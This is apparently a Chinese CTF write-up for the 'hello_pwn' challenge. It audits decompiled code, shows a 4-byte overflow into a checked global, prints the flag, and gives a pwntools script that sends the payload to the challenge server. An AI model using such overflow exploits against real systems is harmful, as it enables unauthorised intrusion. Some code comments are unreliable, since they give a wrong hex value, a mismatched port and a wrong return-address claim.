攻防世界|hello_pwn|

用nc连接后发现要我们输入东西,输入错误就断开连接了

image
image
先用checksec扫描一下



IDA打开附件F5反编译
image
找到main主函数,进行代码审计
image
(详细代码审计如下)

点击查看代码
// 64位整数类型的main函数,使用fastcall调用约定
// 参数说明:
// a1: 命令行参数数量(argc)
// a2: 命令行参数数组(argv)
// a3: 环境变量数组(envp)
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  // 设置闹钟,0x3C等于60秒,程序将在60秒后终止
  // 这是CTF题目中常见的防超时机制
  alarm(0x3Cu);
  
  // 禁用标准输出缓冲区,使printf等输出函数立即显示内容
  setbuf(stdout, 0LL);
  
  // 输出欢迎信息,提示这是一个CTF题目
  puts("~~ welcome to ctf ~~     ");
  
  // 提示这是一个获取helloworld的缓冲区溢出题目
  puts("lets get helloworld for bof");
  
  // 从标准输入(0)读取数据到地址&unk_601068,最多读取0x10(16)字节
  // 这是缓冲区溢出的关键函数
  read(0, &unk_601068, 0x10uLL);
  
  // 检查dword_60106C的值是否等于1853186401
  // 1853186401对应的十六进制是0x6E6F7761,可能是某个字符串的ASCII码反转
  if ( dword_60106C == 1853186401 )
    // 如果条件满足,调用sub_400686函数,很可能是获取flag的函数
    sub_400686();
  
  // 主函数返回0,程序正常退出
  return 0LL;
}

如果dword_60106C == 1853186401,那么执行sub_400686函数

注意我们只能对unk_601068进行数据的传递

再次审计sub_400686函数
image
输出flag.txt的内容

38c27de505a9db35d7c97f878c316b5c

可以看出,unk_601068溢出 4 个位置就是dword_60106C
因此我们可以让unk_601068溢出4个字节,就可以传到dword_60106C上了
代码如下:

点击查看代码
# 导入pwntools库,这是CTF中常用的漏洞利用工具集,提供了网络交互、数据处理等功能
from pwn import *

# 建立与远程目标服务器的连接,参数为目标IP地址和端口号
# 这里连接的是61.147.171.103的61651端口
p = remote('61.147.171.103', 62063)

# 构造漏洞利用 payload:
# b'a'*4 表示发送4个字节的小写字母'a',用于填充缓冲区
# p64(0x6E756161) 表示将十六进制值0x6E756161转换为64位小端字节序
# 这个值很可能是要覆盖到返回地址的目标地址(可能是某个函数的地址)
payload = b'a'*4 + p64(0x6E756161)

# 等待接收服务器发送的特定字符串,直到"lets get helloworld for bof\n"出现
# 这用于同步交互,确保在正确的时机发送payload
p.recvuntil(b'lets get helloworld for bof\n')

# 将构造好的payload发送给服务器
p.sendline(payload)

# 进入交互式模式,允许用户与服务器进行直接交互
# 通常用于执行漏洞利用后获取shell并进行后续操作
p.interactive()

最终可得到flag

posted @ 2025-08-18 11:41  Dragon_Roar  阅读(9)  评论(0)    收藏  举报